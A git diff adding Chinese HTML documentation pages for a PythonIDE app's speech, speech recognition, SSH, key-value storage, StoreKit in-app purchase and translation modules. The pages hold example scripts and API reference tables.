+ +
+ +
+
+ +

speech

+

文字转语音和语音列表。

+
+ +
+

文字转语音(TTS):朗读文本、暂停/恢复、查询可用语音。

+
边界:适合朗读结果、无障碍提示、学习卡片。短音效用 sound;语音识别用 speech_recognition。AppUI 回调里保持 wait=False,否则界面会被阻塞。
+

#模块概览

+
说明
导入import speech
适合做什么朗读文本、多语言播报、无障碍反馈
调用时机放在按钮回调;长文本必须提供停止入口
推荐顺序stop() 清队列 → say(..., wait=False) → 需要时 pause/resume
语言标签BCP-47,如 zh-CNen-US
+
+

#快速开始

+

下面脚本用中文朗读,并列出前几个可用语音:

+
+
+ python +
+
+
import speech
+
+speech.say("你好,PythonIDE", language="zh-CN", wait=True)
+
+voices = speech.available_voices()
+print("可用语音数:", len(voices))
+if voices:
+    print("示例:", voices[:3])
+
+
+

#AppUI 示例

+

朗读控制放在按钮回调;AppUI 里使用 wait=False,并提供停止/暂停入口。

+
+
+ python +
+
+
import appui
+import speech
+
+state = appui.State(
+    text="你好,欢迎使用 PythonIDE",
+    language="zh-CN",
+    status="未朗读",
+    voice_count="—",
+)
+
+
+def update_text(value):
+    state.text = value
+
+
+def update_language(value):
+    state.language = value
+
+
+def refresh_voices():
+    voices = speech.available_voices()
+    state.voice_count = str(len(voices))
+
+
+def speak():
+    text = state.text.strip()
+    if not text:
+        state.status = "请输入要朗读的文本"
+        return
+    speech.stop()
+    speech.say(text, language=state.language, rate=0.5, wait=False)
+    state.status = "朗读中"
+
+
+def pause_speech():
+    speech.pause()
+    state.status = "已暂停"
+
+
+def resume_speech():
+    speech.resume()
+    state.status = "朗读中"
+
+
+def stop_speech():
+    speech.stop()
+    state.status = "已停止"
+
+
+def check_speaking():
+    state.status = "朗读中" if speech.is_speaking() else "空闲"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("文本", [
+                appui.TextField("内容", text=state.text, on_change=update_text),
+                appui.Picker(
+                    "语言",
+                    selection=state.language,
+                    options=["zh-CN", "en-US", "ja-JP"],
+                    on_change=update_language,
+                ),
+            ]),
+            appui.Section("控制", [
+                appui.Button("朗读", action=speak)
+                .button_style("bordered_prominent"),
+                appui.Button("暂停", action=pause_speech),
+                appui.Button("继续", action=resume_speech),
+                appui.Button("停止", action=stop_speech, role="destructive"),
+                appui.Button("检查状态", action=check_speaking),
+                appui.Button("刷新语音列表", action=refresh_voices),
+            ]),
+            appui.Section("状态", [
+                appui.LabeledContent("状态", value=state.status),
+                appui.LabeledContent("可用语音", value=state.voice_count),
+            ]),
+        ]).navigation_title("语音朗读")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
say(text, language, rate, pitch, volume, wait)朗读文本
stop()立即停止
pause() / resume()暂停 / 恢复
is_speaking()是否正在朗读 → bool
available_voices()可用语音标识列表
+

#朗读

+

say(text, language=None, rate=0.5, pitch=1.0, volume=1.0, wait=False)

+
+
+ python +
+
+
import speech
+
+speech.say("Hello", language="en-US", wait=False)
+speech.say("你好", language="zh-CN", rate=0.5, volume=1.0)
+
+
参数说明
text要朗读的文本
languageBCP-47 标签,如 zh-CNNone 用系统默认
rate语速 0.0–1.0
pitch音调 0.5–2.0
volume音量 0.0–1.0
waitTrue 阻塞到读完;AppUI 里用 False
+

开始新朗读前建议先 stop(),避免多段语音排队。

+

#播放控制

+
+
+ python +
+
+
speech.pause()
+speech.resume()
+speech.stop()
+if speech.is_speaking():
+    print("正在朗读")
+
+

离开页面或切换内容时调用 stop()

+

#语音列表

+

available_voices() — 返回设备可用语音标识列表,适合设置页;不要在 body() 里每次刷新都调用。

+
+
+ python +
+
+
voices = speech.available_voices()
+print(len(voices), voices[:5])
+
+
+

#常见错误

+
错误写法后果修正
AppUI 里 wait=True界面阻塞使用 wait=False
speech 播放音效能力不匹配使用 sound
新朗读前不 stop()多段语音重叠排队stop()say()
长文本无停止按钮用户无法打断提供「停止」按钮
+
+

#相关文档

+
文档用途
sound短音效与本地音频
speech_recognition语音转文字
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/speech-recognition-module/index.html b/docs/docs/pages/speech-recognition-module/index.html new file mode 100644 index 0000000..353ba5f --- /dev/null +++ b/docs/docs/pages/speech-recognition-module/index.html @@ -0,0 +1,457 @@ + + + + + + speech_recognition - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

speech_recognition

+

语音转文字:实时听写和音频文件转写。

+
+ +
+

语音转文字(SFSpeechRecognizer):实时麦克风听写,或转写音频文件。

+
边界:与 speech(文字→语音)方向相反。实时模式需要语音识别 + 麦克风系统授权;start() 未授权时会报 denied。统一 permissionrequest() 暂不支持 speech/microphone 弹窗,需在系统设置中开启权限。
+

#模块概览

+
说明
导入import speech_recognition as sr
适合做什么语音输入、听写备忘、语音搜索、音频转文字
调用时机start() / recognize_file() 放在按钮回调
实时模式start → 轮询 text()stop() 拿最终文本
文件模式recognize_file(path) 一次性返回完整稿
+
+

#快速开始

+

下面脚本检查能力并开始中文实时听写(需在系统设置中已授权):

+
+
+ python +
+
+
import speech_recognition as sr
+
+print("支持:", sr.is_available())
+print("语言示例:", sr.supported_locales()[:5])
+
+try:
+    sr.start(locale="zh-CN")
+    # 用户说话期间可轮询 sr.text()
+    print("中间结果:", sr.text())
+    final = sr.stop()
+    print("最终结果:", final)
+except sr.SpeechRecognitionError as exc:
+    print("失败:", exc, f"code={exc.code}")
+
+
+

#AppUI 示例

+

开始/停止放在按钮回调;用 Timer 轮询中间结果。

+
+
+ python +
+
+
import appui
+import speech_recognition as sr
+
+state = appui.State(
+    listening=False,
+    transcript="点击开始听写",
+    status="空闲",
+)
+
+
+def tick():
+    if state.listening:
+        state.transcript = sr.text() or "(正在聆听…)"
+
+
+poll_timer = appui.Timer(interval=0.3, repeats=True, action=tick)
+
+
+def toggle_listening():
+    if state.listening:
+        poll_timer.stop()
+        state.transcript = sr.stop() or "(无识别内容)"
+        state.batch_update(listening=False, status="已停止")
+        return
+
+    try:
+        sr.start(locale="zh-CN", partial=True)
+        state.batch_update(
+            listening=True,
+            status="聆听中",
+            transcript="(正在聆听…)",
+        )
+        poll_timer.start()
+    except sr.SpeechRecognitionError as exc:
+        state.transcript = (
+            f"无法开始: {exc}\n"
+            "请在系统设置中开启「语音识别」和「麦克风」"
+        )
+        state.status = str(exc.code or "error")
+
+
+def cancel_listening():
+    if state.listening:
+        poll_timer.stop()
+        sr.cancel()
+        state.batch_update(
+            listening=False,
+            status="已取消",
+            transcript="听写已取消",
+        )
+
+
+def check_locales():
+    locales = sr.supported_locales()
+    state.status = f"支持 {len(locales)} 种语言"
+
+
+def body():
+    label = "停止听写" if state.listening else "开始听写"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("听写", [
+                appui.Text(state.transcript).foreground_color("secondaryLabel"),
+                appui.LabeledContent("状态", value=state.status),
+            ]),
+            appui.Section("操作", [
+                appui.Button(label, action=toggle_listening)
+                .button_style("bordered_prominent"),
+                appui.Button("取消", action=cancel_listening, role="destructive"),
+                appui.Button("查看支持语言", action=check_locales),
+            ], footer="真机测试最可靠;需语音识别与麦克风权限。"),
+        ]).navigation_title("语音听写")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()设备/语言是否支持
supported_locales()支持的 BCP-47 语言列表
start(locale, on_device, partial)开始实时听写
text() / status()当前识别文本 / 完整状态
stop()停止并返回最终文本
cancel()立即停止并丢弃结果
recognize_file(path, locale)转写音频文件
+

#实时听写

+
+
+ python +
+
+
import speech_recognition as sr
+
+sr.start(locale="zh-CN", on_device=False, partial=True)
+while sr.is_listening():
+    print(sr.text())
+final = sr.stop()
+
+
参数说明
localeBCP-47,如 zh-CNen-US
on_device优先离线识别(设备支持时)
partial是否返回中间结果
+

status() 返回:listeningtranscriptis_finalerror

+

已在听写时再次 start() 会抛 SpeechRecognitionError(code="already_listening")

+

#文件转写

+

只需语音识别权限(不需麦克风):

+
+
+ python +
+
+
text = sr.recognize_file("/path/to/audio.m4a", locale="zh-CN")
+
+

#异常

+

失败时抛出 SpeechRecognitionError,可通过 exc.code 区分:

+
code含义
denied语音识别未授权
already_listening重复 start()
unavailable语言或设备不支持
+
+

#常见错误

+
错误写法后果修正
body()start()刷新时重复启动放进按钮回调
未授权就 start()denied 异常系统设置开启权限
permission.request() 当 bool判断错误且暂不支持弹窗try/except 处理 start()
高频轮询 text()浪费 CPUTimer(interval=0.3) 节流
+
+

#相关文档

+
文档用途
speech文字转语音(相反方向)
audio_recorder录音到文件再转写
permission权限状态查询
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/ssh-module/index.html b/docs/docs/pages/ssh-module/index.html new file mode 100644 index 0000000..066c41e --- /dev/null +++ b/docs/docs/pages/ssh-module/index.html @@ -0,0 +1,505 @@ + + + + + + ssh - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

ssh

+

SSH 远程命令与 SFTP 文件传输。

+
+ +
+

SSH 远程命令与 SFTP 文件传输:连接 Linux/树莓派等设备,执行命令、上传下载文件。

+
边界:需要可达的网络与有效凭据(密码或私钥)。不要把密码写进公开脚本;生产环境用 keychain 存凭据。连接和执行放在按钮回调;session_id 用完后务必 disconnect()
+

#模块概览

+
说明
导入import ssh
适合做什么远程运维、部署脚本、拉取日志、SFTP 传文件
调用时机用户点击连接/执行;长命令注意 timeout
推荐顺序connect()execute() / upload() / download()disconnect()
会话connect() 返回 session_id,后续 API 都要带上
+
+

#快速开始

+

下面脚本连接主机、执行命令并断开:

+
+
+ python +
+
+
import ssh
+
+HOST = "192.168.1.10"   # 换成你可访问的主机
+USER = "pi"
+PASSWORD = "YOUR_PASSWORD"  # 勿提交到版本库
+
+sid = None
+try:
+    sid = ssh.connect(HOST, USER, password=PASSWORD)
+    result = ssh.execute(sid, "echo hello")
+    print(result["stdout"].strip())
+    print("exit_code:", result["exit_code"])
+except ssh.SSHError as exc:
+    print("SSH 失败:", exc, f"code={exc.code}")
+finally:
+    if sid:
+        ssh.disconnect(sid)
+
+

使用私钥认证:

+
+
+ python +
+
+
import ssh
+
+sid = ssh.connect(
+    "example.com",
+    "deploy",
+    private_key=open("id_rsa").read(),
+    passphrase="optional",
+)
+
+
+

#AppUI 示例

+

连接与命令执行放在按钮回调;凭据存在 State(勿记录到日志)。

+
+
+ python +
+
+
import appui
+import ssh
+
+state = appui.State(
+    host="192.168.1.10",
+    user="pi",
+    password="",
+    session_id="",
+    output="—",
+    status="填写主机信息后连接",
+)
+
+
+def do_connect():
+    if not state.host or not state.user:
+        state.status = "请填写主机和用户名"
+        return
+    if state.session_id:
+        state.status = "已连接,请先断开"
+        return
+    try:
+        sid = ssh.connect(
+            state.host,
+            state.user,
+            password=state.password or None,
+        )
+        state.batch_update(
+            session_id=sid or "",
+            status="已连接",
+            output="—",
+        )
+    except ssh.SSHError as exc:
+        state.status = f"连接失败: {exc}"
+
+
+def run_command():
+    if not state.session_id:
+        state.status = "请先连接"
+        return
+    try:
+        result = ssh.execute(state.session_id, "uname -a", timeout=15)
+        text = (result.get("stdout") or "").strip() or "(无输出)"
+        code = result.get("exit_code", -1)
+        state.batch_update(
+            output=text[:500],
+            status=f"exit_code={code}",
+        )
+    except ssh.SSHError as exc:
+        state.status = f"执行失败: {exc}"
+
+
+def do_disconnect():
+    if not state.session_id:
+        return
+    try:
+        ssh.disconnect(state.session_id)
+        state.batch_update(
+            session_id="",
+            output="—",
+            status="已断开",
+        )
+    except ssh.SSHError as exc:
+        state.status = f"断开失败: {exc}"
+
+
+def body():
+    connected = bool(state.session_id)
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("连接", [
+                appui.TextField("主机", text=state.host),
+                appui.TextField("用户名", text=state.user),
+                appui.SecureField("密码", text=state.password),
+                appui.LabeledContent(
+                    "会话",
+                    value=state.session_id[:8] + "…" if connected else "未连接",
+                ),
+            ]),
+            appui.Section("命令", [
+                appui.Button(
+                    "连接" if not connected else "已连接",
+                    action=do_connect,
+                ).button_style("bordered_prominent")
+                .disabled(connected),
+                appui.Button("执行 uname -a", action=run_command),
+                appui.Button("断开", action=do_disconnect, role="destructive"),
+            ]),
+            appui.Section("输出", [
+                appui.Text(state.output).font("caption"),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="需同一局域网或可达主机;密码勿写入公开代码。"),
+        ]).navigation_title("SSH")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
connect(host, username, ...)建立连接 → session_id
execute(session_id, command, timeout)远程执行 → {stdout, exit_code}
upload(session_id, local, remote)SFTP 上传
download(session_id, remote, local)SFTP 下载
disconnect(session_id)关闭会话
SSHError操作失败时抛出
+

#connect

+

connect(host, username, password=None, port=22, private_key=None, passphrase=None)

+
+
+ python +
+
+
sid = ssh.connect("10.0.0.5", "admin", password="secret")
+sid = ssh.connect("server", "deploy", port=2222, private_key=key_text)
+
+

密码与私钥至少提供一种

+

#execute

+

execute(session_id, command, timeout=30)

+
+
+ python +
+
+
result = ssh.execute(sid, "ls -la /tmp")
+print(result["stdout"])
+print(result["exit_code"])
+
+

stdout 为合并后的标准输出字符串;exit_code 为远程命令退出码。

+

#文件传输

+
+
+ python +
+
+
ssh.upload(sid, "/local/file.txt", "/remote/dir/file.txt")
+ssh.download(sid, "/remote/log.txt", "/local/log.txt")
+
+

upload 会上传到 remote_path 的父目录(Bridge 行为)。

+

#disconnect

+

disconnect(session_id) — 关闭并移除会话;后续再用同一 ID 会报 invalid_session

+

#异常

+
code含义
invalid_input缺少 host/用户名/凭据
invalid_sessionsession_id 无效或已断开
unknown_commandBridge 命令错误
+
+

#常见错误

+
错误写法后果修正
密码硬编码并提交 Git凭据泄露keychain 或运行时输入
disconnect()连接泄漏finally 里断开
body()connect()刷新时重复连接放进按钮回调
主机不可达连接超时检查网络/VPN/防火墙
+
+

#相关文档

+
文档用途
keychain安全存储 SSH 凭据
networkHTTP 连通性检查
http_server本地文件服务
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/storage-module/index.html b/docs/docs/pages/storage-module/index.html new file mode 100644 index 0000000..83acbe0 --- /dev/null +++ b/docs/docs/pages/storage-module/index.html @@ -0,0 +1,454 @@ + + + + + + storage - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

storage

+

UserDefaults 持久键值存储。

+
+ +
+

轻量级键值存储(基于 UserDefaults):保存设置项、开关、计数和小型 JSON 配置。

+
边界:适合小数据偏好,不是文件数据库,也不是敏感数据存储。token / 密码用 keychain;大列表、离线缓存用 database。MiniApp 内键名会自动按应用隔离,不同 MiniApp 不会互相覆盖。
+

写入后可在「设置 → 应用数据」中直接查看和修改,不需要把经常变化的值写死在代码里。关联小组件会读取同一份数据;界面只显示脚本使用的简单键名,不显示内部隔离前缀。

+

#模块概览

+
说明
导入import storage
适合做什么主题、排序、筛选条件、开关、小型 JSON 配置
调用时机on_change、按钮回调或启动时读写;不要在 body() 里反复写入
推荐顺序启动时 get(带默认值)→ 用户操作后 set → 需要时 remove / all_keys
键名规范settings.theme 这类命名空间,避免不同脚本冲突
+
+

#快速开始

+

下面脚本写入并读取字符串、布尔、整数和 JSON:

+
+
+ python +
+
+
import storage
+
+storage.set("settings.theme", "dark")
+storage.set_bool("settings.notifications", True)
+storage.set_int("app.launch_count", storage.get_int("app.launch_count", 0) + 1)
+storage.set_json("profile", {"name": "Ada", "level": 3})
+
+print("主题:", storage.get("settings.theme", "system"))
+print("通知:", storage.get_bool("settings.notifications", False))
+print("启动次数:", storage.get_int("app.launch_count", 0))
+print("资料:", storage.get_json("profile", {}))
+
+
+

#AppUI 示例

+

设置项与 State 同步:用户改动时写入 storage,启动时从 storage 恢复。

+
+
+ python +
+
+
import appui
+import storage
+
+THEME_OPTIONS = ["跟随系统", "浅色", "深色"]
+
+state = appui.State(
+    theme=storage.get("settings.theme", "跟随系统"),
+    notifications=storage.get_bool("settings.notifications", True),
+    message="设置会自动保存",
+)
+
+
+def set_theme(value):
+    state.theme = value
+    storage.set("settings.theme", value)
+    state.message = f"主题已保存: {value}"
+
+
+def set_notifications(value):
+    state.notifications = value
+    storage.set_bool("settings.notifications", value)
+    state.message = "通知开关已保存" if value else "通知已关闭"
+
+
+def reset_settings():
+    for key in storage.all_keys(prefix="settings."):
+        storage.remove(key)
+    state.batch_update(
+        theme="跟随系统",
+        notifications=True,
+        message="已重置 settings.* 下的所有键",
+    )
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("偏好", [
+                appui.Picker(
+                    "主题",
+                    selection=state.theme,
+                    options=THEME_OPTIONS,
+                    on_change=set_theme,
+                ).picker_style("segmented"),
+                appui.Toggle(
+                    "允许通知",
+                    is_on=state.notifications,
+                    on_change=set_notifications,
+                ),
+            ]),
+            appui.Section("维护", [
+                appui.Button("重置设置", action=reset_settings, role="destructive"),
+                appui.Text(state.message).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("设置")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
get(key, default) / set(key, value)字符串读写
get_bool / set_bool布尔读写
get_int / set_int整数读写
get_float / set_float浮点数读写
get_json / set_jsonJSON 对象读写
has_key(key)判断键是否存在
remove(key)删除一个键
all_keys(prefix="")列出键,可按前缀筛选
+

#基础读写

+
+
+ python +
+
+
import storage
+
+storage.set("settings.theme", "dark")
+theme = storage.get("settings.theme", "system")
+
+storage.set_bool("settings.done", True)
+done = storage.get_bool("settings.done", False)
+
+storage.set_int("counter", 3)
+storage.set_float("volume", 0.8)
+
+
API返回说明
get(key, default=None)strdefault键不存在时返回 default
set(key, value)None写入字符串或可转字符串的值
get_int / set_intint / None计数、索引、步进值
get_float / set_floatfloat / None比例、阈值、音量
get_bool / set_boolbool / None开关状态
+
注意:读取时总是传 default,让首次运行和清空后仍能正常工作。
+

#JSON

+

get_json(key, default=None) / set_json(key, value) — 存取 JSON 可序列化对象。

+
+
+ python +
+
+
storage.set_json("filters", {"status": "open", "sort": "date"})
+filters = storage.get_json("filters", {})
+
+

保持 JSON 小而稳定;大列表、图片、日志请改用 database 或文件。

+

#键管理

+

has_key(key) — 判断键是否存在(兼容旧版未隔离的键名)。

+

remove(key) — 删除键;会同时尝试删除当前命名空间和旧格式键。

+

all_keys(prefix="") — 列出键,传前缀可清理一组设置:

+
+
+ python +
+
+
for key in storage.all_keys(prefix="settings."):
+    storage.remove(key)
+
+

MiniApp 内 all_keys 返回的是去掉应用前缀后的逻辑键名,便于脚本按 settings.* 管理。

+
+

#常见错误

+
错误写法后果修正
把 token 放进 storage敏感数据不安全使用 keychain
多个脚本共用 theme 短键键名互相覆盖使用 settings.theme 命名空间
读取不传 default首次运行显示 Nonestorage.get("key", default)
大列表 / 图片塞进 JSON慢、占空间改用 database 或文件
+
+

#相关文档

+
文档用途
keychain安全存储 token / 密码
database可查询列表与离线缓存
device读取设备与环境信息
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/storekit-module/index.html b/docs/docs/pages/storekit-module/index.html new file mode 100644 index 0000000..9331963 --- /dev/null +++ b/docs/docs/pages/storekit-module/index.html @@ -0,0 +1,519 @@ + + + + + + storekit - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

storekit

+

应用内购买与订阅(StoreKit 2)。

+
+ +
+

应用内购买与订阅(StoreKit 2):加载商品、发起购买、恢复购买、查询订阅状态。

+
边界:需要 App Store Connect 配置商品 ID,并使用带 In-App Purchase 能力的签名构建;沙盒账号在真机测试。purchase() 会弹出系统购买面板;用户取消返回 result: "cancelled"不抛异常。购买、恢复、管理订阅放在按钮回调,不要在 body() 中调用。
+

#模块概览

+
说明
导入import storekit
适合做什么专业版解锁、订阅会员、恢复已购权益
调用时机用户点击购买/恢复;先 load_products 展示价格
推荐顺序load_products → 展示商品 → purchasesubscription_status
用户取消purchase 返回 {"result": "cancelled"},需单独处理
+
+

#快速开始

+

下面脚本加载商品元数据并打印价格:

+
+
+ python +
+
+
import storekit
+
+PRODUCT_ID = "com.yourapp.pro"  # 换成你在 App Store Connect 创建的商品 ID
+
+try:
+    products = storekit.load_products([PRODUCT_ID])
+    for p in products:
+        print(p["display_name"], p["price"], p["type"])
+except storekit.StoreKitError as exc:
+    print("商品加载失败:", exc, f"code={exc.code}")
+
+

发起购买并处理结果:

+
+
+ python +
+
+
import storekit
+
+result = storekit.purchase(PRODUCT_ID)
+if result.get("result") == "purchased":
+    print("购买成功:", result.get("transaction_id"))
+elif result.get("result") == "cancelled":
+    print("用户取消")
+elif result.get("result") == "pending":
+    print("待处理(如家长批准)")
+else:
+    print("购买未完成:", result)
+
+
+

#AppUI 示例

+

加载、购买、恢复都放在按钮回调;取消时保持页面可操作。

+
+
+ python +
+
+
import appui
+import storekit
+
+PRODUCT_ID = "com.yourapp.pro"  # 换成你的商品 ID
+
+state = appui.State(
+    product_name="—",
+    product_price="—",
+    product_type="—",
+    subs="—",
+    status="点击加载商品",
+)
+
+
+def load_product():
+    try:
+        products = storekit.load_products([PRODUCT_ID])
+        if not products:
+            state.batch_update(
+                product_name="—",
+                product_price="—",
+                product_type="—",
+                status="未找到商品(检查商品 ID 与签名配置)",
+            )
+            return
+        p = products[0]
+        state.batch_update(
+            product_name=p.get("display_name", "—"),
+            product_price=p.get("price", "—"),
+            product_type=p.get("type", "—"),
+            status="商品已加载",
+        )
+    except storekit.StoreKitError as exc:
+        state.status = f"加载失败: {exc}"
+
+
+def buy_product():
+    try:
+        result = storekit.purchase(PRODUCT_ID) or {}
+        outcome = result.get("result", "unknown")
+        if outcome == "purchased":
+            state.status = f"购买成功 · tx={result.get('transaction_id', '—')}"
+            refresh_subs()
+        elif outcome == "cancelled":
+            state.status = "用户取消购买"
+        elif outcome == "pending":
+            state.status = "购买待处理"
+        else:
+            state.status = f"购买未完成: {outcome}"
+    except storekit.StoreKitError as exc:
+        state.status = f"购买失败: {exc}"
+
+
+def restore_purchases():
+    try:
+        restored = storekit.restore() or []
+        state.status = f"已恢复 {len(restored)} 项" if restored else "无可恢复购买"
+        refresh_subs()
+    except storekit.StoreKitError as exc:
+        state.status = f"恢复失败: {exc}"
+
+
+def refresh_subs():
+    try:
+        subs = storekit.subscription_status() or []
+        if not subs:
+            state.subs = "无活跃订阅"
+            return
+        lines = []
+        for s in subs:
+            pid = s.get("product_id", "?")
+            active = "有效" if s.get("is_active") else "失效"
+            lines.append(f"{pid} · {active}")
+        state.subs = " · ".join(lines)
+    except storekit.StoreKitError as exc:
+        state.subs = f"查询失败: {exc}"
+
+
+def manage_subs():
+    try:
+        storekit.show_manage_subscriptions()
+        state.status = "已打开系统订阅管理"
+    except storekit.StoreKitError as exc:
+        state.status = f"无法打开: {exc}"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("商品", [
+                appui.LabeledContent("名称", value=state.product_name),
+                appui.LabeledContent("价格", value=state.product_price),
+                appui.LabeledContent("类型", value=state.product_type),
+            ]),
+            appui.Section("订阅状态", [
+                appui.Text(state.subs).font("caption"),
+            ]),
+            appui.Section("操作", [
+                appui.Button("加载商品", action=load_product),
+                appui.Button("购买", action=buy_product)
+                .button_style("bordered_prominent"),
+                appui.Button("恢复购买", action=restore_purchases),
+                appui.Button("刷新订阅", action=refresh_subs),
+                appui.Button("管理订阅", action=manage_subs),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="需真机 + 沙盒账号 + 有效商品 ID。"),
+        ]).navigation_title("内购")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
load_products(identifiers)加载商品元数据列表
purchase(product_id)发起购买 → {result, transaction_id}
restore()恢复购买 → 商品 ID 列表
subscription_status()当前订阅权益列表
show_manage_subscriptions()打开系统订阅管理页
StoreKitErrorBridge/网络/校验失败时抛出
+

#load_products

+

load_products(identifiers) -> list[dict]

+
+
+ python +
+
+
products = storekit.load_products(["com.app.monthly", "com.app.yearly"])
+
+

每个商品字典:

+
字段说明
id商品 ID
display_name显示名称
description描述
price本地化价格字符串(如 ¥12.00
typesubscription / non_consumable / consumable
+

列表为空表示 ID 无效或未在 App Store Connect 配置。

+

#purchase

+

purchase(product_id) -> dict

+
+
+ python +
+
+
result = storekit.purchase("com.yourapp.pro")
+
+
result含义
purchased购买成功;transaction_id 有值
cancelled用户取消(非异常
pending待处理(如 Ask to Buy)
failed其他失败
+

成功交易会在 Bridge 内 finish();无需 Python 侧再调完成接口。

+

#restore

+

restore() -> list[str] — 遍历当前有效权益,返回已恢复的商品 ID 列表。

+

#subscription_status

+

subscription_status() -> list[dict]

+
+
+ python +
+
+
for sub in storekit.subscription_status():
+    print(sub["product_id"], sub["is_active"], sub.get("expiration_date"))
+
+
字段说明
product_id订阅商品 ID
is_active是否仍有效
expiration_date过期时间 Unix 时间戳,或 null
+

#show_manage_subscriptions

+

show_manage_subscriptions() — 打开系统「管理订阅」界面(iOS 15+)。

+

#异常

+
code含义
invalid_input缺少商品 ID
not_found商品不存在
verification_failed交易校验失败
timeout异步操作超时
+
+

#常见错误

+
错误写法后果修正
body()purchase()刷新时重复弹购买放进按钮回调
把用户取消当异常误判为崩溃检查 result == "cancelled"
商品 ID 写错load_products 返回空对照 App Store Connect
模拟器未登录沙盒加载/购买失败真机 + 沙盒测试账号
未配置 IAP 能力Bridge 不可用签名构建开启 In-App Purchase
+
+

#相关文档

+
文档用途
keychain存储用户令牌(非交易凭证)
dialogs购买前确认提示
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/translation-module/index.html b/docs/docs/pages/translation-module/index.html new file mode 100644 index 0000000..76c4e30 --- /dev/null +++ b/docs/docs/pages/translation-module/index.html @@ -0,0 +1,412 @@ + + + + + + translation - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

translation

+

设备端文本翻译。

+
+ +
+

设备端文本翻译(Apple Translation 框架):离线翻译、查询支持语言。

+
边界:需 iOS 支持 Translation 框架;首次翻译可能下载语言包。仅文本翻译,不含实时语音同传。
+

#模块概览

+
说明
导入import translation
适合做什么笔记翻译、多语言 UI 文案、离线翻译
调用时机translate() 放在按钮回调
推荐顺序is_available()supported_languages()translate()
语言码BCP-47,如 enzh-Hansja
+
+

#快速开始

+
+
+ python +
+
+
import translation
+
+if not translation.is_available():
+    print("Translation 不可用")
+else:
+    print(translation.supported_languages())
+    text = translation.translate("你好,世界", target="en")
+    print(text)
+
+

指定源语言:

+
+
+ python +
+
+
import translation
+
+text = translation.translate("Bonjour", target="zh-Hans", source="fr")
+print(text)
+
+
+

#AppUI 示例

+
+
+ python +
+
+
import appui
+import translation
+
+state = appui.State(
+    available="—",
+    source="你好,世界",
+    target_lang="en",
+    result="—",
+)
+
+
+def refresh_available():
+    state.available = "是" if translation.is_available() else "否"
+
+
+def do_translate():
+    refresh_available()
+    if state.available != "是":
+        state.result = "Translation 不可用"
+        return
+
+    try:
+        state.result = translation.translate(state.source, target=state.target_lang)
+    except translation.TranslationError as exc:
+        state.result = str(exc)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("翻译", [
+                appui.TextEditor(text=state.source).frame(min_height=80),
+                appui.TextField("目标语言", text=state.target_lang),
+                appui.Button("翻译", action=do_translate)
+                .button_style("bordered_prominent"),
+            ]),
+            appui.Section("结果", [
+                appui.LabeledContent("可用", value=state.available),
+                appui.Text(state.result).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("翻译")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()Translation 是否可用 → bool
supported_languages()支持的语言码列表
translate(text, target='en', source=None)翻译文本 → str
TranslationError翻译失败异常
+

#translate

+

translate(text, target='en', source=None)source 省略时自动检测源语言。

+
+
+ python +
+
+
translation.translate("你好", target="en")
+translation.translate("Hello", target="zh-Hans", source="en")
+
+
+

#常见错误

+
错误写法后果修正
未检查 is_available()TranslationError先判断可用性与系统版本
无效语言码翻译失败supported_languages() 核对
body() 里自动翻译每次刷新重复请求放进按钮回调
超长文本一次翻译可能超时或截断分段翻译
+
+

#相关文档

+
文档用途
foundation_models端侧文本生成(iOS 26+)
speech语音合成
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
